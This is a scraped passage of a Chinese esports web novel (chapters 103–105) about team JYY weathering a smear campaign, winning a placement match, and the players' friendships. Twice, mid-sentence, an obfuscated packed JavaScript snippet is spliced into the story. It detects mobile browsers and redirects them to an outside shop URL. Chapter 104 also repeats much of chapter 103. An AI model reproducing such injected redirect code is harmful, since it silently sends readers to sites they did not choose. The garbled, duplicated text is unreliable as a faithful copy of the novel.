收集了一天证据的孟凌轩瘫在沙发上,惨声道,“我能不能买水军搞邱子幸啊?他自己菜到被骂,干嘛拿我们两个小战队开刀压他的热度转移别人注意力啊?” “凑巧被抓到机会了吧,邱子幸不是这两周一直时不时地搞一下夜雨辰吗?” 冷姝言翻看着一个个打印出来的文件,喝了口茶,“那个泄露照片的工作人员的身份信息还被保护得挺好的,估计收了不少好处,所以背后应该也有些战队乐见其成这个词条就顺水推舟了,反正能脏一时也是脏,毕竟这两周SupS和JYY这两个战队的黑马表现引来的流量还真不小,已经超过了一些A组的战队,把一些本属于他们的东西引了过来……” “什么?!”孟凌轩惊坐起身,“那我们不会还要把那些战队一锅端吧?那可太累了!” “这个还是做不到的。”冷姝言冷哼一声,惋惜道,“毕竟这些都是猜测,没有实质性证据,不过至少现在明面上的几个可以先送进去,明天动身。” “?” 一听到要忙,孟凌轩的脸更垮了。他倏地坐起身,往冷姝言的身上一黏,撒娇道:“好累好麻烦啊老婆大人,我申请用钞能力,钞能力万岁!” “用个屁。”她毫不留情地拍开孟凌轩,也不给他留一个眼神,冷声道,“没本事的人才会用钱解决问题,有本事的人只会觉得这是小事一桩。” 说着,她瞥向孟凌轩:“而且你别忘记,我会答应郁秋来帮战队最主要的原因是我享受做这些差事最后收获的成就感,所以不到万不得已,我是不会用钱来打造JYY的声誉的,钱不能解决所有问题。” “咳咳,我知道我知道,我是什么样的人您还是知道的,我也不稀罕用钱解决这种事情,”孟凌轩立马从地上爬起来,拍了拍身边的灰后又凑到冷姝言旁边,“而且我也记得我来之前答应郁秋的事情,尽量不用金钱染指电竞圈。” 冷姝言睨了一眼孟凌轩,嗤鼻一声:“如果这热度来得没有这么突然,郁秋还是会动他的小金库帮他的小男朋友是吧?” 她还是知道这个‘尽量’的例外是,如果夜雨辰在网上的负面声音被弄得太过响亮,郁秋自己会忍不住出手的。 就像两年前一样。 “这……其实他这次也用了。” 孟凌轩不禁干咳两声。 删了一堆贴子,还好这次讹的不是他的钱,不然他要肉疼死。 下一秒,他又忍不住抱怨道:“真的是防火防盗防邱子幸,这崽子是真的闲得蛋疼,就不能好好先提升下游戏技术专注比赛吗?老搞这种有的没的事情,真是给我们增加工作量,真想雇人给我们搭把手,进战队的这几个月真把我累死了!” 两个战队的比赛在昨天下午,晚上这个突然蹦出来的词条热度就飙升到了第二名,直接打他们一个猝不及防,都来不及做防备措施就恰好在凌晨被电竞周报统计了进去。 行内谁不知道负责电竞周报的记者从不接受任何形式的贿赂,只会公事公办啊? 好在SupS那边也好商量,白天他们已经顺利地商讨好了怎么一起处理这件事情。 冷姝言幽幽地瞥了他一眼,把另一摞堆成山的文件推到了孟凌轩面前:“看你还这么精力充沛我就放心了,这是你这几天接下来的任务。” 她看着表情逐渐呆滞的孟凌轩,笑眯眯道:“热搜剩下的事情以及这几天的后续行动计划都包在我身上,而你,把最近这三周申请来做战队投资商的这几家小公司以及未来的潜在合作商都做好背调,底细全都要查得一清二楚哦,老公。” “产品质量有任何问题的,一律不要。” 103.心事 JYY和HMG的卡位赛如期进行着。 第二场比赛一结束,一回到休息室,开开就忍俊不禁地大放厥词道:“这卡位赛也没想象中的那么难打嘛,开赛不到四十分钟拿下了两分,原来A组战队也没想象中那么强嘛,而且今天台下甚至没前天热闹。” Qian不屑道:“他们要是有实力也不至于沦落到打降级卡位赛。” 郁秋伸了个懒腰:“不过后面几把也别太大意,剩下的几把对局他们肯定会放手一搏了,毕竟没一个战队愿意接受自己掉组的成绩,不过我们继续稳着打还是随便拿下的。” 卡位赛毕竟是bo7赛制,也就是七局四胜,所以不管是开始的几场比赛还是下半场,都很考验每名选手的体力和英雄池以及战队的战术安排。 Qian不以为意:“那就让他们放吧,只要我们正常发挥,他们就掀起不了多大的风浪。” 打了这几场比赛他算是知道了,这战队的实力也就那样,再怎么放手一搏他们也是随便打的。 “不过是我的错觉吗?”开开偷偷瞟了一眼坐在另一边沙发上、正发着呆的夜雨辰和One,“他们俩个怎么今天怎么这么过分的安静?比赛上都没说几句话。” “啊,我吗?我在休息。”One一下子就反应过来自己被点名,立马回过神来,无奈地对他们道,“人老了,精力跟不上,三天高强度的打这么多场游戏,太累了。” Qian没忍住翻了个白眼:“你居然还会知道累吗?” 开开撇了撇嘴,跟着道:“就是,每次凌晨最积极叫我们上号打瓦的就是你了。” One无辜道:“业余游戏不就是来娱乐玩耍的嘛,又不用动脑才不会累。” 开开鄙视了一眼One便看向坐在他旁边正一副冥思苦想模样的夜雨辰,不禁小声地问郁秋:“秋哥,昨天晚上我跟Night说网上这件事他别太放心上,他也一直跟我说没什么事,但今天看上去好像不是这回事啊。你和Night是睡一起的,和他最熟也最了解他,你觉得他现在到底是装没事还是真没事?” 虽然JYY和SupS的舆论问题对两个战队的声誉都造成了些小影响,但论JYY的所有成员来说,他们不仅完全没怀疑过夜雨辰会干这种见不得光的勾当,还都猜得到里面八成掺和了邱子幸的手笔,所以他们不仅把注意力都放在这次对战队来说极其重要的卡位赛上,还很担心夜雨辰因为这次的事情受到不小的影响。 郁秋顺着他的目光看向夜雨辰,面色有些怪异道:“他没事倒是真的没事。” 他看得出来,夜雨辰不仅没事,昨天晚上还因为被JYY所有成员接连不断的关心问候开心到满嘴嫌弃他们多管闲事。 “真的吗?” 开开反复打量着夜雨辰半晌,回头看向郁秋,满是怀疑道,“他不会是装的吧?我以前上网看到这些是非不分的喷子都是半夜一个人躲在被窝里偷偷emo的。” 郁秋干笑了两声,眼神幽幽瞥向一旁。 “没装。” 突然,一道冷漠声从开开身后传来。 “?!” 开开下意识捂住耳朵并后撤数十步,回头惊恐地看着夜雨辰,“你什么时候来到我身后的?吓我一跳。” 夜雨辰耸耸肩,无辜道:“你说我在装没事的时候。” 开开看夜雨辰一脸淡定的模样,再次反复上下打量着夜雨辰,没忍住又问了一遍:“所以你是真的没事吗?我看你老是一直一副魂不守舍的样子。” “……” 夜雨辰垂眸,没有回答他。 郁秋反倒有些不耐烦地笑道:“我说张凌开,你这个问题到底还要追问他多少次?我这两天都听你问他十几次这个问题了。” 开开疑惑地看向郁秋:“他都没急,你急什么?” “噗。” Qian和零落没忍住在一旁偷笑出了声。 郁秋顿时哑声了。 夜雨辰叹了一口气,对开开再次强调道:“我真的真没事,但现在不适合聊其他事情,比赛完咱们再说。” “行!”开开一听,顿时喜出望外地看向教练,“零落,接下来两把直接让我们掏出拿手阵容,保证我们稳妥的拿下胜利早早下班!” “不行。” 零落毫不犹豫地就拒绝了。他眉头紧锁地反复翻看着自己写满战术资料的笔记本,最终下定决心道,“接下来的两场比赛,我会按照我的思路把你们的阵容做得强势且激进,强迫你们前期节奏就打凶一点,就像前天打SupS那样的节奏。” 所有人一愣,众目睽睽地看向零落,对这个决定感到震惊。 夜雨辰的眼神不禁闪烁起期待的光芒,嘴角也控制不住上扬:“可以,我同意。” 他最喜欢打的就是这种战术了,刺激热血,且是自己的舒适区。 Qian双手抱胸:“随意,我都行。” One也没提出任何异议。 开开反而感到不解:“为什么?赶紧结束比赛提前下班不好吗?” “不行。”郁秋想也没想就拒绝了,“这次比分很重要,我们打这种战术很容易丢分,万一最后晋级失败怎么办?” “这是通知,不是寻求你们的意见,异议无效。” 零落瞥了一眼他们俩,不容置疑道,“我这两天斟酌了很久,我们现在在场上打过的进攻战术经验很少,如果这次成功晋级A组还用着之前的场上用过的老套思路,那下一轮常规赛我们被刷下来的可能性还是很大的。何况上次你们敢用那种战术是因为没把比分看得太重,换种说法就是你们在场上压力并没有太大,所以我需要你们适应这次有比分压力的感受。” 说着,他的眸光不经意地落在One身上片刻,继续道:“其实这个决定是在昨天就定好的,如果今天你们把比分率先领先了就打这种战术,只是担心提前跟你们说这个打算加上网上的事情导致你们心里压力太大导致操作变形,所以看你们现在没有太大的影响,我才敢在现在提出这个决定。” 闻言,郁秋欲言又止,最后若无其事地坐到夜雨辰旁边。 开开烦躁地挠了挠头,不情不愿地咬牙道:“那行吧,被你这么一说搞得我现在手都有点抖了。” 零落叹了口气:“如果我们想有理想的成绩,就必须得习惯这种无法控制的感觉,这是必须面对无法逃避的东西。时间差不多了,准备上场吧。” 等全部人都已动身出了休息室,夜雨辰才幽幽地瞥了一眼坐到自己旁边完全没打算动的郁秋:“你还打算在这坐多久,比赛要开始了。” 郁秋睨了一眼他:“你不也没走?” 夜雨辰站起身,准备离开:“在想些事情,过会打完继续想。” 郁秋下意识问道:“心事?” “嗯。”夜雨辰脚步一顿,回过头,深沉的眸底看向他,“肩膀很疼,所以你现在要是再咬一次,估计接下来的几场比赛我就会控制不住替你把我们自家的野区刷得一干二净了。” “……”郁秋顿时想起前天自己发育经济被夜雨辰整得很难受的但却赢了的比赛对局,随即扶额道,“今天真不会了,走吧。” 二人走出休息室,夜雨辰没忍住打趣道:“今天这么快就做好心理准备了?” 实不相瞒,他看到郁秋下意识拒绝零落的时候,已经做好了再被来个熊抱甚至又被咬上一大口的心理准备了。 “怕也没办法。”郁秋耸耸肩,感到无奈,“你也知道,我们想要冠军的话,这些心里阴影都是必须克服的,这不是一把两把一天两天的事,何况——” 说着,他笑眯眯地看着夜雨辰:“万一真的砸了,有你们给我兜底不是嘛?果然有能安心坑队友的队伍才是最好的团队啊。” “……”夜雨辰不禁冷笑一声,“你在场上坑我,我就敢让你的野区改姓夜。” 郁秋举起双手投降道:“那夜野王,如果今天接下来的比赛我没坑你,我可以知道开开想约你什么事情以及你这两天苦思冥想的心事吗?你一直一副心事重重的样子。” 夜雨辰脚步一顿,微微蹙起眉:“开开想和我聊什么我大概知道,他这几天一直在找我说这些,你肯定不感兴趣,但心事的话——” 他若有所思地看着郁秋许久,才道:“放心,和网上那些没太大关系,一些私事,不方便说,但我保证肯定不会影响到我在比赛上的状态,所以别再问了。” 郁秋叹了口气:“好吧。” 剩下上台的路上,夜雨辰便重新去纠结原先在思索的问题—— 其实他还是忍不住去在意热搜的事情。 不过不是骂他的那些言语,虽然他看到那些骂他的话也感到很不舒服。 但他现在更在意的是,他昨天没忍住去翻了翻这几周的电竞周报,发现有些热搜和骂声是很明显的在针对自己和郁秋,偶尔会牵扯到JYY这个战队。 假设这些都是邱子幸的手笔,那他为什么会把和自己完全不认识、甚至从没有过任何关系的嘉辉拉下了水? 是因为他和嘉辉的关系不错吗?但邱子幸是怎么知道的? 还是碰巧拿到可以陷害自己的信息,所以无所谓多栽赃了一个人? 好像都有可能。 但如果邱子幸是知道他和嘉辉关系本身就不错的话,那和邱子幸在同个俱乐部的小U应该早就被邱子幸注意到了吧? 毕竟夜雨辰是通过小U才认识的嘉辉,而且,他们三个都在FQ的青训营里关系十分要好。 夜雨辰的眉头不禁凝成一团。 越往下想,小U这几周口口声声说的“没事”,他现在越来越不信了,即使有时候联盟相关直播他确实看到了小U所谓的“帮战队跑商务”的影子。 何况小U有个性格就是嘴特别严。 认识他的这两年都是这样,他从不会让别人去担心他,只有他去担心别人的份,直到他完全无法隐瞒自己的尴尬处境为止。 就比如他们的【当0当1不当】的三人小群里,言星奕会偶尔抱怨学业上的压力、他也会难得的去吐槽几句游戏连跪或遇到人机队友、但小U在群里从来都只会给他们加油打气或是第一时间行动上去帮助他们。 他和言星奕见过最狼狈的小U的时候,只有两年前他离家出走时,支支吾吾了半个小时才不好意思地找他们开口说要借几百块钱的时候。 而且,夜雨辰在进青训营的第一时间就被小U告知了很多可能会被针对或是需要警惕的东西来提高防备心,但夜雨辰问他是怎么知道的这些事情的时候,小U只会言简意骇地说了句“室友遇到过这种事情,长记性了”就没了。 直到后来嘉辉偷偷地跟他说,小U其实知道这些东西是因为他在青训营的成绩太过亮眼,所以被不少红眼病栽赃针对过,所以他长记性了,只是他总是以一副微笑面对人生的模样,所以很多人才会觉得他不在意这些事情。 夜雨辰不禁暗啧一声。 小U的经济情况他都大概了解,如果被邱子幸整那么几出绝对受不了。 所以打完卡位赛后回上海的这两天,他还是得想办法把小U和嘉辉一起约出来一次。 但在这之前,还有一件事要处理—— “喂,喂,夜雨辰,你有在听我说话吗?” 一个半小时后,A/B卡位赛里,JYY最终以4比2的成绩拿下了HMG,成功晋级了A组。 开开在比赛结束的第一时间直接把夜雨辰单独叫出去吃晚餐了。 夜雨辰叼着筷子的手一顿,顿时回过神来:“发呆了一下,你刚刚说什么了来着?” 开开凑到他旁边,故作神秘道:“我说,他们其他几个人一个个的都是二开头的老古董,虽然Qian比他们仨好一丢丢,但他肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336996|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定又会损我的,但我又不能跟我其他战队的朋友说这件事情,思来想去,只能跟你说这件事情了。” “受宠若惊。”夜雨辰不禁好笑道,“但你就不怕我告诉他们你说他们坏话?” 开开撇了撇嘴:“我相信你不会说的,而且就算他们知道了,只是又会说我幼稚而已,这次我不太想被他们这么打趣罢了。” 夜雨辰好奇道:“所以你究竟想说什么?” 开开又一次的问道:“你确定你真的不在乎热搜那件事吗?真没骗我?” 夜雨辰点了点头,确认以及肯定道:“嗯。” 再一次得到了肯定的回答,开开才掏出自己的手机界面,把屏幕上显示的数据摆在了夜雨辰的面前看:“我跟你说,以前邱子幸在战队的时候我是真的不敢上网,因为谩骂声满天飞,十句里有十句的骂声,我爸妈甚至都会怕我心里出现问题。但现在不一样了,现在骂声少了很多,我敢上网了,而且如果抛开邱子幸搞得那个假热搜不管,我发现我们这几天的粉丝涨得数量都很多啊!开赛前我的粉丝数量可是一千不到的,现在居然都快上三万了!这可是我想都不敢想的数据啊!” 夜雨辰看到这些数据顿时恍然大悟,怪不得开开会一直反复确认他到底在不在意网上的事情,原来是怕他因为一些网上的负面言论导致心里承受不住。 开开下定决心道:“我现在就要定个小目标,A组比赛结束前,我的粉丝要冲到五万!这样我就是除了你们几个外,我朋友圈里粉丝数量最多的那个人了,哈哈哈哈哈!” 夜雨辰挑挑眉,不禁拿出自己的手机,好奇地打开论坛,翻看着每个人的粉丝数量——Qian和One因为以前是冠军选手,所以粉丝本身就有三四十万,只是因为近年的成绩差所以沉寂了很多,不过最近JYY成绩逐渐优异,许多粉丝再次重新欢呼活跃了起来;他和郁秋因为cp话题本来就热度不小,所以他们俩现在粉丝分别也都接近二十万了,而且还在不停地上涨。 这么一看,开开居然是他们几个里粉丝最少的那个人。 开开也发现了这点,小声嘀咕道:“没关系,还有个零落一万粉丝不到的为我垫底。” “对了,我这两天建的粉丝群都瞬间爆满两个了,给你看看!”说着,开开就迫不及待打开自己的粉丝群给夜雨辰看,喜滋滋道,“里面的粉丝都好活跃,一个两个的都在夸我‘未来的联盟第一边路’!话说你的粉丝都会在群里说什么,夸你‘国服中单’吗?” 夜雨辰把自己的论坛账号展示给开开看:“我没有建粉丝群,我不太在意粉丝。” “啊,这样啊。”开开听闻,感到有些失落,小声嘟囔道,“我看你很在意台下观众的数目,还以为你很在意粉丝数呢,本来还想看看你们的粉丝群和我的有什么不一样的。” 夜雨辰耸耸眉:“比起粉丝数量,我还是更喜欢被别人认可实力并夸赞的感觉,这个范围很广,包括但不限于对手、队友和粉丝。” 开开欲哭无泪道:“你不要你分给我一点啊,我来打职业最大的梦想就是在众星捧月下获得奖杯,虽然现在三万粉丝我都已经知足了。” 说着,他给夜雨辰翻看着群里聊天记录:“你看你看,他们给我的情绪价值真的是杠杠的,我是真的这个赛季开赛才知道,原来这才是职业选手的真正的生活,粉丝们都相信并支持我的实力,期待着我在比赛台上大放光彩,我现在感觉我能大战十个啊钧!” 突然,开开注意到一个粉丝的消息,手一顿,没忍住好笑道:“欸,这个粉丝居然在问我们下场比赛在什么时候会打谁?这我怎么知道,我又不是联盟的工作人员,抽签又不归我管。” 夜雨辰想也没想,肯定道:“应该是SupS吧?而且在这周打。” 开开诧异地看向他:“为什么?” “猜的。”夜雨辰解释道,“这两天的热搜联盟肯定注意到了,所以应该第一时间就调查过我和嘉辉到底有没有做过这种事情。” “如果我们做了这种事情,有任何假赛的嫌疑,那我们俩这两天卡位赛肯定不可能上台的;但如果他们确定了我们是清白的,那他们就知道这几个文字是在哗众取宠,但联盟这些天放着不管是因为他们知道这些是假的,清者自清,他们不用不花一分一毫就能获取不少的流量,吸引到圈外更多的观众来,所以这些声音放着发酵一段时间反而最后能吸引更多的观众,所以这也是我这次不太在意这件事的主要原因,假如两个战队都束手无策这件事,背后也有联盟一定会澄清的。” “有联盟作证的绝对公平的电子竞技舞台,只有实力才能说明一切,而且第二轮的常规赛开赛在周末,所以估计周六第一场比赛或第二场比赛就是我们再一次打他们赢他们,这些声音就不攻自破了,而且估计到场的观众比上次还多。所以这件事的结局大概率是两个战队和联盟都能收获不小的流量,可谓共赢,其他搅局的人只是在给我们做嫁衣。” 听着一句又一句头头是道却云里雾里的道理,开开满是赞同地点点头,一本正经道:“听不懂,你怎么知道的这么多?” 夜雨辰抿了一口茶:“真的假的我也不知道,都是猜个乐呵的。” 反正邱子幸为了压他自己被骂的热搜整这一出也是可笑,心思全在这些歪门邪道上,怪不得之前会把JYY整得成绩跌落这么严重。 “嗡嗡!” 这时,开开的手机震动了几下,他下意识地去查看手机新收到的消息,表情怪异道,“哇哦,我这里有个好消息,也算个坏消息,你有兴趣听听吗?” 夜雨辰瞟了一眼他:“你说。” 开开看着手机屏幕上的新贴子,不禁啧啧道:“我们这一轮常规赛没办法暴揍邱子幸了,因为FQ出乎所有人意料的居然打赢了YT稳在了S组,并没有掉级,邱子幸这次也并没有拖FQ的后腿,五场游戏拿了三场MVP。” 104.粉丝 “喂,喂,夜雨辰,你有在听我说话吗?” 一个半小时后,A/B卡位赛里,JYY最终以4比2的成绩拿下了HMG,成功晋级了A组。 开开在比赛结束的第一时间直接把夜雨辰单独叫出去吃晚餐了。 夜雨辰叼着筷子的手一顿,顿时回过神来:“发呆了一下,你刚刚说什么了来着?” 开开叹了口气,在餐桌周围左顾顾右盼盼后,才神秘小声地跟夜雨辰道:“我说,Qian和One两个以前就享受过这种感觉,现在肯定不以为意或觉得我小题大做;秋哥又不喜欢观众多的比赛环境,所以对这件事肯定很不在意;而零落现在就是天天只会研究战术的木呆瓜子……他们一个个都是年龄‘二’开头的老古董,哪懂我们这些‘一’字辈的心里,而且这些话和我其他朋友也不太好分享……所以思来想去,这种事情的喜悦我只好跟你分享了。” “受宠若惊。”夜雨辰不禁感到好笑,“我会把你这些话原封不动地转告给他们的。” 开开咬咬牙道:“你要是和他们说这些那我也认了!不过就算他们知道我这种想法,也是又说我幼稚而已,只是这次我不太想被他们这么打趣,反正我觉得这件事情对我来说很重要!” 夜雨辰挑挑眉,不禁好奇道:“所以你究竟想说什么?” 到底是什么东西让开开整个战队只找他单独说,还不能找其他朋友一起分享。 “唔……”开开纠结了片刻,又一次犹豫地睨向夜雨辰,问道,“你确定你真的不在乎热搜那件事吗?真没骗人?” 夜雨辰点了点头,确认以及肯定道:“嗯。” 再一次得到了肯定的回答,开开才立马掏出自己的手机界面,瞬间调出一个数据图界面展示给夜雨辰看,小声又神秘道:“我跟你说,以前邱子幸在战队的时候我是真的不敢上网,谩骂声满天飞的,十句里有十句的骂声,那时候我爸妈甚至都会怕我心里出现问题。但现在不一样了,现在骂声不仅少到我敢上网冲浪了,而且我发现,如果抛开邱子幸搞得那个假热搜不管,我们几个这几天的粉丝涨得数量都很多啊!那可是飞快!你看我开赛前的粉丝数量可是一千不到,现在居然都快上三万了!三万啊!这可是我想都不敢想的数据啊!” 夜雨辰看着一路向上飙升的数据折线图,面色古怪道:“所以你这两天反复跟我确认我到底在不在乎热搜的事情以及反应,就是为了跟我说这种事?” 开开点点头:“对啊,我还是记得我去年看到那一句句骂声后内耗得睡不着觉的样子的,我那时候就觉得,我这辈子都完蛋了,现在想想都会全身哆嗦,所以你要是看不惯这些东西,我也肯定不敢跟你说啊。” 说着说着,他控制不住再一次低头欣赏着手机里这一路冲天的美丽折线图,喜滋滋地自言自语道:“我现在就要定个小目标,A组比赛结束前,我要把粉丝数冲到五万,这样我就是除了你们几个外,我朋友圈里粉丝数量最多的那个人了,哈哈哈哈哈!” “……” 夜雨辰看着这人的反应,不禁拿出自己的手机,打开论坛翻看着每个人账号下的粉丝数量——Qian和One因为以前是冠军选手,所以粉丝本身就有几十来万,One比Qian更是翻了两倍,只是因为JYY近年的成绩差,所以他们的账号和粉丝都沉寂了很多人;他和郁秋因为现在有cp话题,所以本来自带的热度就不小,他们俩现在粉丝数分别也都接近二十万了,而且还在不停地上涨。 这么一看,开开居然是他们几个里粉丝最少的那个人。 开开也发现了这点,小声嘀咕道:“没关系,反正还有个零落一万粉丝不到的为我垫底。” 夜雨辰不禁对他感到心疼又好笑。 这种涨粉的喜悦,开开根本不好和其他战队的朋友分享,因为也不知道那些朋友会不会因为自己没遇到这种好事而红了眼;而JYY的所有人包括夜雨辰自己,对粉丝数目对大小也不是太过在意。 估计他都是斟酌了好几天才最终决定找自己来分享这个喜悦感的。 开开依旧滔滔不绝道:“我打职业前就喜欢肖想自己做个大网红大明星大主播的,万众瞩目,粉丝问我狂欢……” “对了,我这两天建的粉丝群都瞬间爆满两个了,给你看看!”说着,他就迫不及待打开自己的粉丝群,整个人飘忽道仿佛上了天,“里面的粉丝一个比一个活跃,夸我帅,夸我可爱,夸我‘联盟第一边路’,这一句句的都夸到我的心坎上了!飘忽上天。话说你的粉丝都会在群里说些什么东西,祝你和秋哥百年好合?GloryK里第一国服中单?最帅的国服中单?” “………”无语了片刻,夜雨辰才把自己的论坛账号展示给开开看:“我没有建粉丝群,所以我不知道。” “啊,这样啊。”开开见状不禁感到有些遗憾,“我看你这轮比赛都好像挺在意台下观众的数目的,还以为我有一个这方面能一起聊的好队友了,本来还想看看你们的粉丝群和我的会有什么不一样的。” “我确实在意台下观众的人数。”夜雨辰耸耸肩,发自内心解释道,“不过比起粉丝数量,我还是更追求被众人认可游戏实力并为我欢呼的感觉,这个‘众人’范围很广,包括但不限于对手、队友和观众。” 开开欲哭无泪道:“那你有那么多粉丝分我一点嘛!我来打职业最大的梦想就是在众星捧月下获得奖杯,虽然现在三万粉丝我也已经知足了。” 夜雨辰思索了一下,想了几个主意出来:“你去叫冷姐给你造点流量话题出来,或你自己玩点抽象活,或是搞什么‘基地训练一天vlog’或类似的直播,粉丝应该能涨不少?” “唔……这些东西我也在群里问过粉丝,他们也给我出了不少类似的主意。”说着,开开开始不停地往群聊记录上翻,其中他看到几句话,还没忍住给夜雨辰分享道:“你看你看,他们给我的情绪价值真的是杠杠的,我是真的这个赛季开赛才知道,原来这才是职业选手的真正的生活,粉丝们都相信并支持我的实力,期待着我在比赛台上大放光彩,我现在感觉我能大战十个啊钧和伞大,我!就是未来边路之光!” 看到开开在饭店说着说着就突然仰天高声吆喝地模样,夜雨辰下意识扶额无语道:“不知道的以为你喝大了,公共场合能别这么犯病吗?” 把这份中二的性格放到网上绝对是吸睛引流,但在公共场所,纯粹就是社死现场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338865|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “咳咳,小问题小问题,边路玩家常态。” 开开干咳两声,顿时收敛了自己刚刚那副糗样。突然,他注意到一个群里一条消息,手一顿,没忍住好笑道:“欸,这居然有人在问我们下场比赛在什么时候会打谁?这我怎么知道,我又不是联盟的工作人员,抽签又不归我管。” 夜雨辰凑过头瞥了一眼屏幕上的问题,回答道:“SupS吧?而且在这周打。” 开开诧异地看向他:“你咋知道?你真有内幕啊?” “猜的。”夜雨辰淡淡道,“毕竟这两天的热搜联盟肯定注意到了,所以应该第一时间就调查过我和嘉辉到底有没有做过这种事情。” 他打开手机上存的有关职业选手的违禁事项和联盟的处理方式,指了指其中的一两条,不紧不慢地给开开解释道:“如果我们做了这种事情,有任何假赛的嫌疑,那我们俩这两天卡位赛肯定不可能上台的;但如果他们确定了我们是清白的,那他们就知道这几个文字是在哗众取宠,但联盟这些天放着不管是因为他们知道这些是假的,清者自清,他们不用不花一分一毫就能获取不少的流量,吸引到圈外更多的观众来,所以这些声音放着发酵一段时间反而最后能吸引更多的观众,所以这也是我这次不太在意这件事的主要原因,假如两个战队都束手无策这件事,背后也有联盟一定会澄清的。” 越往后讲,开开的‘听课’目光便越发专注。 夜雨辰:“所以有联盟作证的绝对公平的电子竞技舞台,只有实力才能说明一切,而第二轮的常规赛开赛在这周末,所以周六第一场比赛或第二场比赛,只要我们再一次打赢SupS,网络上的声音就不攻自破了,而且说不定到场的观众比前天还多、网上直播流量也更大。” “所以这件事的结局大概率是两个战队和联盟都能收获不小的流量,可谓共赢,其他搅局的人只是在给我们的发展做嫁衣。” “哦……”听着一句又一句分析得头头是道的道理,开开赞同地点点头,一本正经道,“听不懂,你怎么知道的这么多?” “……” 夜雨辰的手一抽,疑似说累了所以喝了口水,“真的假的我也不知道,都是猜个乐呵的,最后事情究竟怎么发展的,所有战队和联盟在乎的利益危害这些,我也没有实力和办法去求证我的猜测。” 只是他直觉觉得联盟大概率会这么做而已。 不过邱子幸为了压他自己被骂的热搜整这一出也是可笑,心思全在这些歪门邪道上,怪不得之前会把JYY整得成绩跌落这么严重。 “嗡嗡!” 这时,开开的手机震动了几下,他下意识地去查看手机新收到的消息,表情顿时精彩纷呈,“哇哦,我这里有个好消息,但也算个坏消息,你有兴趣听听吗?” 夜雨辰:“你说。” 开开再一次重读里一遍看着手机上新弹出的贴子,不禁啧啧道:“我们这一轮常规赛居然没办法暴揍邱子幸了,因为刚刚的卡位赛上,FQ出乎所有人意料的居然打赢且秒杀了YT,稳在了S组,并没有掉级。而且邱子幸这次比赛不仅没有拖FQ的后腿,打所谓的‘队霸战术’,还做到了五场游戏里拿了三场MVP。 105.就这? “FQ能赢?我不服!” 一看到FQ卡位赛居然拿下了胜利,下一轮常规赛还能继续呆在S组,嘉辉就气得咬咬牙,“邱子幸这种人凭什么能赢?我都准备好这两周教他怎么做人了。” 小U无奈道:“给个面子,好歹是我的战队,而且其实没掉级也挺情乎合理的。” 回到上海,夜雨辰就以免费请客上网的借口,成功把嘉辉和小U一起约出来在网吧上网。 嘉辉越想越气,电脑屏幕里的操作愈发凶猛,恨不得把所有对手全当成是邱子幸,一个个当场击毙:“我说真的,如果上场的中单是替补或是你,那你们战队没掉级我能接受,但邱子幸把把上场居然不仅赢了,还拿下了三个MVP?艹,我都想举报YT是不是假赛了,废物战队,这都打不过,还不如让我来上。” 夜雨辰坐在二人中间,淡淡道:“他是人品有问题,不是实力有问题。” 说着,他趁着自己的游戏战场空闲,睨了一眼嘉辉手下的键盘,补充道:“还有,我只包上网费,不包修理费,键盘砸坏了你自己赔。” 隔着个耳机的游戏声音都能听到接连不断的凶猛敲击声,完全可见嘉辉对这个结果有多生气了。 小U同意道:“虽然邱子幸干的都不是些人事,但他现在在基地里天天都是起早贪黑地忙着和那几个人磨合默契和性子,他现在和队里关系都挺好的” “那之前被他害成现在这样的JYY不就更惨了吗……护我护我护我!” 嘉辉还没说完,电脑屏幕上顿时就出现三个敌人。他在愤怒中成功拿下三杀获得游戏胜利后,直接怒摔出鼠标,低骂道,“喵的,老夜你就真的一点都不生气吗?要是说出去我们是被他污蔑的,不仅没人信,反而我们还会被说‘为什么他只污蔑我们,不去针对其他人,他就算不是什么好东西,我们也好不到哪去。’真的好难受,被外人把他和我们混为一谈,憋屈死了,有苦说不出。” 夜雨辰看着已经被迸发出碎片的鼠标,提醒道:“鼠标记得赔。” 什么赔不赔的嘉辉才没听进去,他越往后想这件事情,就愈发忍不住抱怨:“而且我这两天日日夜夜研究的邱子幸算什么?我都准备好这两周报仇了,现在全打水漂了。” “那在这一轮打上S组不就行了?”夜雨辰摘下耳机,云淡风轻道,“他掉不下来就我们上去,这赛季就一定能碰上,我们战队以前的荣誉照样也能拿的回来。” 仿佛这件事对他来说小事一桩似的。 “……” 嘉辉沉默了半晌,才咂了咂嘴,心不甘情不愿道:“可我们战队的极限就在这了啊,我和林元再强也不能老是力挽狂澜啊……唉,反正这赛季S组肯定是上不去的,所以只能期待他掉下来了。” 小U在一旁不禁啧啧道:“真好,羡慕你们,我也想上场打比赛。” 这么一提醒,嘉辉立马想起来这回事,更加生气了,怒骂道:“对啊,要不是这傻逼突然插足FQ,你这赛季都能上场比赛了!邱子幸你能不能赶紧去死啊!” 小U眨了眨眼:“其实就算邱子幸不来,这赛季上场倒也不一定,毕竟我现在也没本事强到代替宁军仁成为战队首发。” 嘉辉感到不解:“那你既然知道这点为什么还要进这个战队?你不是很想打比赛吗?以你的成绩,选秀大会肯定会有战队要你的,而且如果你跟我一起来SupS的话都有很大可能代替我们家现在的中单坐稳首发,这样我们都可以一起打这个姓夜的嚣张玩意了。真搞不懂你,为什么选个连场都上不去的战队?” 